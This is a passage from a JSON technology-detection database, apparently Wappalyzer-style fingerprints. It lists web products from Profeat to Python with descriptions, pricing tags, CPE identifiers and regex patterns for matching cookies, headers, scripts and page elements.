53\n    ],\n    \"description\": \"Profeat is a CRM software enabling integration of WhatsApp and Instagram.\",\n    \"icon\": \"Profeat.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.profeat\\\\.team/\"\n    ],\n    \"website\": \"https://profeat.team\"\n  },\n  \"ProfilePress\": {\n    \"cats\": [\n      87\n    ],\n    \"cookies\": {\n      \"ppwp_wp_session\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:profilepress:profilepress:*:*:*:*:*:wordpress:*:*\",\n    \"description\": \"ProfilePress is a WordPress registration plugin that lets you create login forms, registration forms, user profiles, and more.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/wp-user-avatar/']\"\n    ],\n    \"icon\": \"ProfilePress.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/wp-user-avatar(?:-pro)?/.+frontend\\\\.min\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://profilepress.net\"\n  },\n  \"Profitwell\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"Profitwell.svg\",\n    \"js\": {\n      \"profitwell\": \"\"\n    },\n    \"scriptSrc\": [\n      \"profitwell\\\\.js\"\n    ],\n    \"website\": \"https://www.profitwell.com/\"\n  },\n  \"Profity\": {\n    \"cats\": [\n      94\n    ],\n    \"description\": \"Profity is a network of ecommerce companies that enables partner shops to market their offers to customers after a sale in any shop, enhancing mutual benefits and sales opportunities.\",\n    \"icon\": \"Profity.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.profity\\\\.ch/\"\n    ],\n    \"website\": \"https://www.profity.online\"\n  },\n  \"Programia\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Programia is a producer of advanced B2C and B2B systems integrated with ERP and economic systems.\",\n    \"icon\": \"Programia.svg\",\n    \"meta\": {\n      \"author\": \"Programia s\\\\.r\\\\.o\\\\., e-mail: info@programia\\\\.cz\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.programia.eu\"\n  },\n  \"Progress MOVEit\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Progress MOVEit is a managed file transfer solution that enables secure and compliant transfer of sensitive files while providing automation, central management, and auditing capabilities.\",\n    \"headers\": {\n      \"X-Moveitisapi-Version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Progress.svg\",\n    \"meta\": {\n      \"apple-itunes-app\": \"app-id=1500056420\",\n      \"google-play-app\": \"app-id=com\\\\.progress\\\\.moveit\\\\.transfer\\\\.dev\\\\.appid\"\n    },\n    \"website\": \"https://www.progress.com/moveit\"\n  },\n  \"Progress Sitefinity\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:progress:sitefinity:*:*:*:*:*:*:*:*\",\n    \"description\": \"Progress Sitefinity is a content management system (CMS) that you use to create, store, manage, and present content on your website.\",\n    \"icon\": \"Sitefinity.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"js\": {\n      \"sfDataIntell\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Sitefinity\\\\s([\\\\S]{3,9})\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.sitefinity.com\"\n  },\n  \"Progress WS_FTP\": {\n    \"cats\": [\n      19\n    ],\n    \"cpe\": \"cpe:2.3:a:progress:ws_ftp_server:*:*:*:*:*:*:*:*\",\n    \"description\": \"Progress WS_FTP is a file transfer client software developed by Progress Software Corporation, supporting FTP, FTPS, SFTP, and HTTPS protocols with features like drag-and-drop support, file synchronization, and encrypted data transmission.\",\n    \"dom\": [\n      \"form[name='formLogin'][action='login.aspx' i][id='formLogin']\\\\;confidence:40\"\n    ],\n    \"icon\": \"Progress.svg\",\n    \"requires\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"scriptSrc\": [\n      \"/ThinClient/(?:WTM|WebResource)(?:\\\\.axd|/public)\\\\;confidence:60\"\n    ],\n    \"website\": \"https://www.progress.com/ws_ftp\"\n  },\n  \"ProgressBar.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Responsive progress bars with animated SVG paths.\",\n    \"icon\": \"ProgressBar.js.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"progressbar(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\",\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?progressbar(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://kimmobrunfeldt.github.io/progressbar.js/\"\n  },\n  \"Project Wonderful\": {\n    \"cats\": [\n      36\n    ],\n    \"html\": [\n      \"<div[^>]+id=\\\"pw_adbox_\"\n    ],\n    \"icon\": \"Project Wonderful.png\",\n    \"js\": {\n      \"pw_adloader\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^https?://(?:www\\\\.)?projectwonderful\\\\.com/(?:pwa\\\\.js|gen\\\\.php)\"\n    ],\n    \"website\": \"https://projectwonderful.com\"\n  },\n  \"Projesoft\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Projesoft is a Turkish software development company that provides custom IT solutions, including ecommerce platforms, ERP systems, and digital transformation services.\",\n    \"icon\": \"projesoft.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"projesoft\\\\.js\"\n    ],\n    \"website\": \"https://www.projesoft.com.tr\"\n  },\n  \"Prommt\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Prommt is a payment request service that helps businesses collect payments from customers through card and bank transfer.\",\n    \"icon\": \"Prommt.svg\",\n    \"js\": {\n      \"Prommt\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.prommt\\\\.com/\"\n    ],\n    \"website\": \"https://www.prommt.com\"\n  },\n  \"PromoBuilding\": {\n    \"cats\": [\n      51\n    ],\n    \"cookies\": {\n      \"promobuilding_session\": \"\"\n    },\n    \"description\": \"PromoBuilding is a subscription-based website builder for optimising budgets for creating promotional campaigns.\",\n    \"html\": [\n      \"<!-- made with https://promobuilding\\\\.ru\"\n    ],\n    \"icon\": \"PromoBuilding.svg\",\n    \"js\": {\n      \"promoApi\": \"\\\\;confidence:25\",\n      \"promoDomain\": \"\\\\;confidence:25\",\n      \"promoIsOver\": \"\\\\;confidence:25\",\n      \"promoStart\": \"\\\\;confidence:25\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://promobuilding.ru\"\n  },\n  \"Proton Mail\": {\n    \"cats\": [\n      30\n    ],\n    \"description\": \"Proton Mail is the world’s largest secure email service with over 70 million users. Available on Web, iOS, Android, and desktop. Protected by Swiss privacy law.\",\n    \"dns\": {\n      \"MX\": [\n        \"\\\\.protonmail\\\\.ch\"\n      ],\n      \"TXT\": [\n        \"protonmail-verification=\"\n      ]\n    },\n    \"icon\": \"Proton Mail.svg\",\n    \"saas\": true,\n    \"website\": \"https://proton.me/mail\"\n  },\n  \"Prototype\": {\n    \"cats\": [\n      12\n    ],\n    \"cpe\": \"cpe:2.3:a:prototypejs:prototype:*:*:*:*:*:*:*:*\",\n    \"description\": \"Prototype is a JavaScript Framework that aims to ease development of web applications.\",\n    \"icon\": \"Prototype.png\",\n    \"js\": {\n      \"Prototype.Version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"(?:prototype|protoaculous)(?:-([\\\\d.]*[\\\\d]))?.*\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.prototypejs.org\"\n  },\n  \"Protovis\": {\n    \"cats\": [\n      25\n    ],\n    \"js\": {\n      \"protovis\": \"\"\n    },\n    \"scriptSrc\": [\n      \"protovis.*\\\\.js\"\n    ],\n    \"website\": \"https://mbostock.github.io/protovis\"\n  },\n  \"ProveSource\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"ProveSource is a solution to display social proof and boost conversion.\",\n    \"icon\": \"ProveSource.svg\",\n    \"js\": {\n      \"_provesrcAsyncInit\": \"\",\n      \"provesrc.display\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://provesrc.com\"\n  },\n  \"ProvenExpert\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"ProvenExpert is a review based marketing platform that allows users to create customer surveys, provides aggregate reviews and ratings.\",\n    \"dom\": {\n      \"img[src*='provenexpert']\": {\n        \"attributes\": {\n          \"src\": \"images\\\\.provenexpert\\\\.\\\\w+\"\n        }\n      }\n    },\n    \"icon\": \"ProvenExpert.svg\",\n    \"scriptSrc\": [\n      \"provenexpert\\\\.\\\\w+/widget\"\n    ],\n    \"website\": \"https://www.provenexpert.com\"\n  },\n  \"Provide Support\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Provide Support is a SaaS for customer service that includes live chat, real-time website monitoring, chat statistics.\",\n    \"icon\": \"Provide Support.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.providesupport\\\\.com\"\n    ],\n    \"website\": \"https://www.providesupport.com\"\n  },\n  \"Proximis\": {\n    \"cats\": [\n      5,\n      6\n    ],\n    \"icon\": \"ProximisOmnichannel.svg\",\n    \"scriptSrc\": [\n      \"widget-commerce(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://www.proximis.com\"\n  },\n  \"Proximis Unified Commerce\": {\n    \"cats\": [\n      6,\n      1\n    ],\n    \"html\": [\n      \"<html[^>]+data-ng-app=\\\"RbsChangeApp\\\"\"\n    ],\n    \"icon\": \"ProximisOmnichannel.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"AngularJS\"\n    ],\n    \"js\": {\n      \"__change\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Proximis Unified Commerce\"\n    },\n    \"website\": \"https://www.proximis.com\"\n  },\n  \"Proxmox Mail Gateway\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Proxmox Mail Gateway is a mail security and anti-spam solution designed to protect email servers and ensure secure and reliable email communication.\",\n    \"icon\": \"Proxmox.svg\",\n    \"js\": {\n      \"pmg-mail-tracker\": \"\",\n      \"pmg-spam-archive\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"Proxmox VE\"\n    ],\n    \"website\": \"https://proxmox.com/en/proxmox-mail-gateway\"\n  },\n  \"Proxmox VE\": {\n    \"cats\": [\n      60\n    ],\n    \"description\": \"Proxmox VE is an open-source virtualisation and containerisation platform that provides a web-based management interface to manage virtual machines, containers, storage, and networking.\",\n    \"headers\": {\n      \"Server\": \"pve-api-daemon/[\\\\d\\\\.]+\"\n    },\n    \"icon\": \"Proxmox.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://proxmox.com/en/proxmox-ve\"\n  },\n  \"Ptengine\": {\n    \"cats\": [\n      74,\n      76,\n      10\n    ],\n    \"description\": \"Ptengine is a web analytics tool that offers heat mapping, session replays, and other insights to help businesses understand and optimize user behavior on their websites.\",\n    \"icon\": \"Ptengine.svg\",\n    \"js\": {\n      \"ptengine\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.ptengine\\\\.(?:jp|cn|com)?/'\"\n    ],\n    \"website\": \"https://www.ptengine.com\"\n  },\n  \"Pterodactyl Panel\": {\n    \"cats\": [\n      9\n    ],\n    \"cookies\": {\n      \"pterodactyl_session\": \"\"\n    },\n    \"description\": \"Pterodactyl Panel is a free, open-source game server management panel built with PHP, React, and Go.\",\n    \"icon\": \"Pterodactyl Panel.svg\",\n    \"implies\": [\n      \"Go\",\n      \"PHP\",\n      \"React\",\n      \"Laravel\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://pterodactyl.io\"\n  },\n  \"PubGuru\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"PubGuru is a header wrapper and ad ops platform.\",\n    \"icon\": \"PubGuru.png\",\n    \"js\": {\n      \"pg.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\\\\;confidence:25\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.pubguru\\\\.com/\"\n    ],\n    \"website\": \"https://pubguru.com\"\n  },\n  \"PubLive\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"PubLive is a headless CMS for online publishers.\",\n    \"dom\": [\n      \"link[href*='.thepublive.com/'], img[src*='.thepublive.com/']\"\n    ],\n    \"icon\": \"PubLive.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://thepublive.com\"\n  },\n  \"PubMatic\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"PubMatic is a company that develops and implements online advertising software and strategies for the digital publishing and advertising industry.\",\n    \"dom\": [\n      \"iframe[src*='.pubmatic.com'], link[href*='.pubmatic.com']\"\n    ],\n    \"icon\": \"PubMatic.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"https?://[^/]*\\\\.pubmatic\\\\.com\"\n    ],\n    \"website\": \"https://www.pubmatic.com/\",\n    \"xhr\": [\n      \"\\\\.pubmatic\\\\.com\"\n    ]\n  },\n  \"PubNub\": {\n    \"cats\": [\n      60\n    ],\n    \"description\": \"PubNub is a platform that operates the Data Stream Network, enabling the connection, delivery, and control of data and logic to support real-time applications at a global scale.\",\n    \"icon\": \"PubNub.svg\",\n    \"js\": {\n      \"PubNub\": \"\",\n      \"PubNubCenter\": \"\",\n      \"PubNubOccupancy\": \"\",\n      \"PubNubPayload\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.pubnub.com\"\n  },\n  \"PubSubJS\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"PubSubJS is a topic-based publish/subscribe library written in JavaScript.\",\n    \"icon\": \"pubsub-js.png\",\n    \"js\": {\n      \"PubSub\": \"\",\n      \"PubSub.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/mroderick/PubSubJS\"\n  },\n  \"Pubble\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Pubble is a messaging platform that simplifies how teams interact with their customers.\",\n    \"icon\": \"Pubble.svg\",\n    \"js\": {\n      \"Pubble.Pubble\": \"\",\n      \"pubble_proActiveChat\": \"\",\n      \"pubblebot\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.pubble\\\\.io/\"\n    ],\n    \"website\": \"https://www.pubble.io\"\n  },\n  \"Public CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"PUBLICCMS_USER\": \"\"\n    },\n    \"description\": \"Public CMS is a content management system (CMS) designed to help users create, manage, and maintain websites with features for content editing, template customization, and user management.\",\n    \"headers\": {\n      \"X-Powered-PublicCMS\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Public CMS.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"website\": \"https://www.publiccms.com\"\n  },\n  \"Publii\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Agnostic server Static Site CMS built for Windows, MacOS and Linux.\",\n    \"dom\": [\n      \"meta[content*='Publii Open-Source CMS for Static Site']\"\n    ],\n    \"icon\": \"Publii.png\",\n    \"js\": {\n      \"publiiThemeMenuConfig\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://getpublii.com\"\n  },\n  \"Publishrr\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Publishrr is a custom web CMS designed for newspapers, magazines, TV channels, and radio channels.\",\n    \"icon\": \"Publishrr.svg\",\n    \"meta\": {\n      \"generator\": \"^Publishrr\\\\.com$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://publishrr.com\"\n  },\n  \"Publy\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Publy is a provider of solutions for publishers and advertisers.\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.publy\\\\.net/\"\n    ],\n    \"website\": \"http://ppc.publy.net\"\n  },\n  \"Publytics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Publytics is a lightweight and cookieless alternative to Google Analytics for web publishers.\",\n    \"icon\": \"Publytics.svg\",\n    \"js\": {\n      \"publytics\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.publytics\\\\.net/\"\n    ],\n    \"website\": \"https://publytics.net\"\n  },\n  \"Pubstack\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Pubstack is a platform that provides tools for managing and optimizing digital advertising, offering solutions for real-time analytics, ad performance monitoring, and revenue optimization.\",\n    \"icon\": \"Pubstack.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.pubstack\\\\.io/\"\n    ],\n    \"website\": \"https://www.pubstack.io\"\n  },\n  \"Pulse CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Pulse CMS is a content management system built with PHP that uses flat files instead of a database, offering a platform for managing web content without requiring extensive server resources or technical expertise.\",\n    \"icon\": \"Pulse.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/PulseCMS/.*?/tracker\\\\.php\"\n    ],\n    \"website\": \"https://pulsecms.com\"\n  },\n  \"Pulse Secure\": {\n    \"cats\": [\n      46\n    ],\n    \"cookies\": {\n      \"DSSIGNIN\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:pulsesecure:pulse_connect_secure:*:*:*:*:*:*:*:*\",\n    \"description\": \"Pulse Secure allows to deploy VPNs to securely to your internal resources.\",\n    \"icon\": \"PulseSecure.png\",\n    \"url\": [\n      \"/dana-na/auth/\"\n    ],\n    \"website\": \"https://www.pulsesecure.net/products/remote-access-overview/\"\n  },\n  \"Pure CSS\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Pure CSS is a set of small, responsive CSS modules that can be used in web projects.\",\n    \"html\": [\n      \"<link[^>]+(?:([\\\\d.])+/)?pure(?:-min)?\\\\.css\\\\;version:\\\\1\",\n      \"<div[^>]+class=\\\"[^\\\"]*pure-u-(?:sm-|md-|lg-|xl-)?\\\\d-\\\\d\"\n    ],\n    \"icon\": \"Pure CSS.svg\",\n    \"website\": \"https://purecss.io\"\n  },\n  \"Pure Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Pure Chat is a live chat solution for small to mid-sized teams.\",\n    \"icon\": \"Pure Chat.png\",\n    \"js\": {\n      \"PCWidget\": \"\",\n      \"purechatApi\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.purechat\\\\.com\"\n    ],\n    \"website\": \"https://www.purechat.com\"\n  },\n  \"PureCars\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"PureCars is an automotive software and managed services company serving dealerships, advertising associations, and OEMs across the North American retail automotive industry.\",\n    \"dom\": [\n      \"a[href*='app.purecars.com/']\"\n    ],\n    \"icon\": \"PureCars.svg\",\n    \"js\": {\n      \"_pureCars\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.purecars.com\"\n  },\n  \"PurpleAds\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"PurpleAds is an online advertising solution that businesses use to promote their products and services on Google Search, YouTube and other sites across the web.\",\n    \"icon\": \"PurpleAds.svg\",\n    \"meta\": {\n      \"purpleads-verification\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.purpleads\\\\.io/\"\n    ],\n    \"website\": \"https://purpleads.io\"\n  },\n  \"PushAd\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"PushAd is a notification system from Poland.\",\n    \"icon\": \"PushAd.svg\",\n    \"js\": {\n      \"PushAdReady\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.push-ad\\\\.com/\"\n    ],\n    \"website\": \"https://push-ad.com/en/home-page\"\n  },\n  \"PushAlert\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"PushAlert is a multi-channel platform that offers push notifications and onsite messaging to enhance customer engagement.\",\n    \"icon\": \"PushAlert.svg\",\n    \"js\": {\n      \"pushalert_manifest_file\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.pushalert\\\\.co/\"\n    ],\n    \"website\": \"https://pushalert.co\"\n  },\n  \"PushDaddy Whatsapp Chat\": {\n    \"cats\": [\n      100,\n      98\n    ],\n    \"description\": \"Whatsapp Chat is an live chat and abondoned cart solution built by PushDaddy.\",\n    \"dom\": [\n      \"div.pushdaddy-chats\"\n    ],\n    \"icon\": \"PushDaddy.svg\",\n    \"implies\": [\n      \"WhatsApp Business Chat\",\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.shopify\\\\.com/.+/pushdaddy_v([\\\\d\\\\.]+).*\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://apps.shopify.com/whatsapp-chat-for-support\"\n  },\n  \"PushEngage\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"PushEngage is a browser push notification platform that helps content website managers engage visitors by automatically segmenting and sending web push messages.\",\n    \"icon\": \"PushEngage.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"clientcdn\\\\.pushengage\\\\.\\\\w+/core\"\n    ],\n    \"website\": \"https://www.pushengage.com\"\n  },\n  \"PushOwl\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"PushOwl is a push notification platform for ecommerce stores.\",\n    \"icon\": \"PushOwl.svg\",\n    \"js\": {\n      \"pushowl\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.pushowl\\\\.com\"\n    ],\n    \"website\": \"https://pushowl.com\"\n  },\n  \"PushOwl Web Push Notifications\": {\n    \"cats\": [\n      98,\n      100\n    ],\n    \"description\": \"PushOwl Web Push Notifications are a Shopify app which helps recover abandoned carts and market better with web push.\",\n    \"icon\": \"PushOwl.svg\",\n    \"implies\": [\n      \"PushOwl\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/sdks/pushowl-shopify\\\\.js\"\n    ],\n    \"website\": \"https://apps.shopify.com/pushowl\"\n  },\n  \"PushPushGo\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"PushPushGo is a GDPR-ready platform which enables startups, SMBs and corporations to create and send automatic web push notification campaigns on desktop and via mobile to manage various scenarios including abandoned carts, segmentation, cross-selling, customer engagement, and return rates.\",\n    \"dom\": [\n      \"link[href*='.pushpushgo.com/']\"\n    ],\n    \"icon\": \"PushPushGo.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.pushpushgo\\\\.com/\"\n    ],\n    \"website\": \"https://pushpushgo.com\"\n  },\n  \"PushWoosh\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"PushWoosh is a messaging system that supports push notifications and in-app messages.\",\n    \"icon\": \"PushWoosh.svg\",\n    \"js\": {\n      \"Pushwoosh\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.pushwoosh.com\"\n  },\n  \"Pushify\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Pushify is a service that delivers push notifications for major desktop and mobile browsers.\",\n    \"icon\": \"Pushify.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.pushify\\\\.com/\"\n    ],\n    \"website\": \"https://pushify.com\"\n  },\n  \"Pushly\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Pushly is a web push notification platform that allows businesses to send real-time messages to their website visitors.\",\n    \"icon\": \"Pushly.svg\",\n    \"js\": {\n      \"PushlySDK\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.pushly.com\"\n  },\n  \"Pushnami\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Pushnami is an AI-powered messaging platform that uses intelligent analytics to deliver superior push, social, and email performance.\",\n    \"icon\": \"Pushnami.svg\",\n    \"scriptSrc\": [\n      \"api\\\\.pushnami\\\\.com\"\n    ],\n    \"website\": \"https://pushnami.com\"\n  },\n  \"Pushpay\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Pushpay is a digital giving and engagement platform designed to help churches manage processes related to donations and fundraising.\",\n    \"dom\": [\n      \"a[href*='//ppay.co/'][target='_blank']\"\n    ],\n    \"icon\": \"Pushpay.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//pushpay\\\\.com/\"\n    ],\n    \"website\": \"https://pushpay.com\"\n  },\n  \"Pushub\": {\n    \"cats\": [\n      36,\n      71\n    ],\n    \"description\": \"Pushub is a self-serve demand side platform (DSP) designed for affiliates and agencies.\",\n    \"icon\": \"Pushub.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.pushub\\\\.net/\"\n    ],\n    \"website\": \"https://pushub.net\"\n  },\n  \"PyData Sphinx Theme\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"PyData Sphinx Theme is a styling template for Sphinx documentation tailored to PyData projects.\",\n    \"dom\": {\n      \"p.theme-version\": {\n        \"text\": \"([\\\\d]+(?:\\\\.[\\\\d]+)*)\\\\;version:\\\\1\"\n      }\n    },\n    \"icon\": \"PyData Sphinx Theme.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"Sphinx\"\n    ],\n    \"website\": \"https://pydata-sphinx-theme.readthedocs.io/\"\n  },\n  \"PyScript\": {\n    \"cats\": [\n      19\n    ],\n    \"cookies\": {\n      \"_mkto_trk\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:pyscript:pyscript:*:*:*:*:*:*:*:*\",\n    \"description\": \"PyScript is a python script that can be run in the browser using a mix of Python and standard HTML.\",\n    \"dom\": [\n      \"py-script\"\n    ],\n    \"icon\": \"PyScript.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://pyscript.net\"\n  },\n  \"Pygments\": {\n    \"cats\": [\n      19\n    ],\n    \"cpe\": \"cpe:2.3:a:pygments:pygments:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<link[^>]+pygments\\\\.css[\\\"']\"\n    ],\n    \"icon\": \"pygments.svg\",\n    \"website\": \"https://pygments.org\"\n  },\n  \"PyroCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"pyrocms\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:pyrocms:pyrocms:*:*:*:*:*:*:*:*\",\n    \"description\": \"PyroCMS is an open-source content management system (CMS) built on the Laravel framework, designed for creating and managing websites with a focus on flexibility, modularity, and ease of use.\",\n    \"headers\": {\n      \"X-Streams-Distribution\": \"PyroCMS\"\n    },\n    \"icon\": \"PyroCMS.svg\",\n    \"implies\": [\n      \"Laravel\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://pyrocms.com\"\n  },\n  \"Python\": {\n    \"cats\": [\n      27\n    ],\n    \"cpe\": \"cpe:2.3:a:python:python:*:*:*:*:*:*:*:*\",\n    \"description\": \"Python is an interpreted and general-purpose programming language.\",\n    \"headers\": {\n      \"Server\": 